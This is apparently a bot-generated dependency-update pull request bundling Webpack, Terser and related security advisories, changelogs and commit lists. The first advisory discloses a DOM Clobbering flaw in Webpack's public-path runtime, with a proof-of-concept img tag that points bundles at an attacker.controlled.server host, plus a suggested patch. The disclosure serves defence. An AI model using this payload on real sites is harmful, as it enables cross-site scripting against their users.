🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');
module.exports = {

entry: './entry.js', // Ensure the correct path to your entry file

output: {

filename: 'webpack-gadgets.bundle.js', // Output bundle file

path: path.resolve(__dirname, 'dist'), // Output directory

publicPath: "auto", // Or leave this field not set

},

target: 'web',

mode: 'development',

};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by 27 commits:

• v27.5.1
• chore: update changelog for release
• ci(jest-changed-files): enable `mercurial` related test on CI (#12327)
• chore: remove unnecessary checks
• chore: avoid backticks without template in strings (#12328)
• chore: remove `@babel/plugin-proposal-class-properties`
• chore(jest-config): remove unused dev dep (#12319)
• Revert "chore: remove unused import from test" (#12321)
• chore: run prettier
• docs: added info about modern and legacy timers (#12317)
• docs: update `toHaveBeenCalledWith` to include type of equality check (#12222)
• docs(GettingStarted): separate TypeScript sections (#12306)
• docs: adds details to test results processor config option (#12206)
• fix(jest-config): replace `jsonlint` with `parse-json` (#12316)
• fix: binary scripts should use package exports (#12315)
• chore: also clean out dist/ directory
• chore: prepare ignorefiles for dist/ directory (#12314)
• fix: point to correctly exported files in `jest-repl` (#12311)
• chore: avoid using anonymous default exports (#12313)
• chore: read package.json less during build (#12310)
• feat(pretty-format): expose `ConvertAnsi` plugin (#12308)
• fix(expect): add type definitions for asymmetric `closeTo` matcher (#12304)
• chore: do not escape strings in snapshots (#12303)
• chore: use Node 16 more on CI (#12007)
• chore: update snapshot
• chore: roll new version of docs
• chore: update lockfile after release

4.3.1

Fixes

• Always set resourcePath, resourceQuery and resourceHash to empty string when request is empty.

Performance

• Speed up resource parsing.

4.3.0

Features

• allow to return multiple arguments from processResource

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 30 commits:

• chore(release): 4.3.1
• refactor: logic
• refactor: comments
• perf: speed up resource parsing (#83)
• refactor: update eslint config (#82)
• fix: always set `resource`, `resourcePath`, `resourceQuery` and `resourceFragment` to empty string when they are unavaliable (#81)
• chore: migrate to eslint-config-webpack (#78)
• Merge pull request #76 from webpack/dependabot/npm_and_yarn/es5-ext-0.10.63
• Bump es5-ext from 0.10.53 to 0.10.63
• Merge pull request #73 from webpack/dependabot/npm_and_yarn/handlebars-4.7.8
• Bump handlebars from 4.7.6 to 4.7.8
• Merge pull request #72 from webpack/dependabot/npm_and_yarn/word-wrap-1.2.4
• Bump word-wrap from 1.2.3 to 1.2.4
• Merge pull request #59 from olleolleolle/patch-1
• Merge pull request #69 from webpack/dependabot/npm_and_yarn/minimatch-3.1.2
• Bump minimatch from 3.0.4 to 3.1.2
• Merge pull request #63 from CommanderRoot/rm-deprecated-substr
• 4.3.0
• rename to main
• Merge pull request #66 from vankop/add-more-arguments-to-processResource
• add more arguments to processResource callback
• chore: replace deprecated String.prototype.substr()
• README: fix typos
• 4.2.0
• Merge pull request #50 from webpack/ci/remove-travis
• Merge pull request #47 from webpack/feature/process-resource
• remove travis
• add processResource option to control if resource is added as dependency
• Merge pull request #49 from webpack/ci/actions
• add github actions workflow

2.3.0

Features

• [TYPES] Added TypedHookMap type.

2.2.3

Fixes

• Async hook catch an error when reject a falsy value
• [typescript] Support to pass return type for waterfall hooks

2.2.2

Developer Experience

• add interceptors type to hook class

2.2.1

Developer Experience

• fix some incorrect typings

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 33 commits:

• chore(release): 2.3.0
• feat(types): added `TypedHookMap` type (#195)
• chore(release): 2.2.3
• style: fix (#194)
• test: more
• fix: async hook catch an error when reject a falsy value (#193)
• chore(deps): update (#192)
• fix: support to pass return type for waterfall hooks (#191)
• fix: types for waterfall hooks (#190)
• chore: migrate to eslint-config-webpack (#189)
• chore(release): 2.2.2
• ci: fix (#188)
• chore: fix gitignore
• chore: setup test env
• docs: fix readme grammar issues (#153)
• fix: add interceptors type to hook class
• docs: fix HookMap description (#178)
• 2.2.1
• Merge pull request #161 from chengcyber/feat-hook-type
• add taps type to hook class
• Merge pull request #157 from iguessitsokay/types-withoptions
• omit promise field and fix linting
• fix: set withConfig return type to include correct properties
• 2.2.0
• Merge pull request #151 from webpack/feature/browser-support
• flag function in good path for eager parsing
• allow to use tapable in browser
• 2.1.1
• Merge pull request #148 from webpack/bugfix/js-workaround
• add workaround for jsdoc-style typescript bug
• 2.1.0
• Merge pull request #147 from webpack/types/fixes-custom
• allow to add custom properties to tap options

🚨 Terser insecure use of regular expressions leads to ReDoS

The package terser before 4.8.1, from 5.0.0 and before 5.14.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)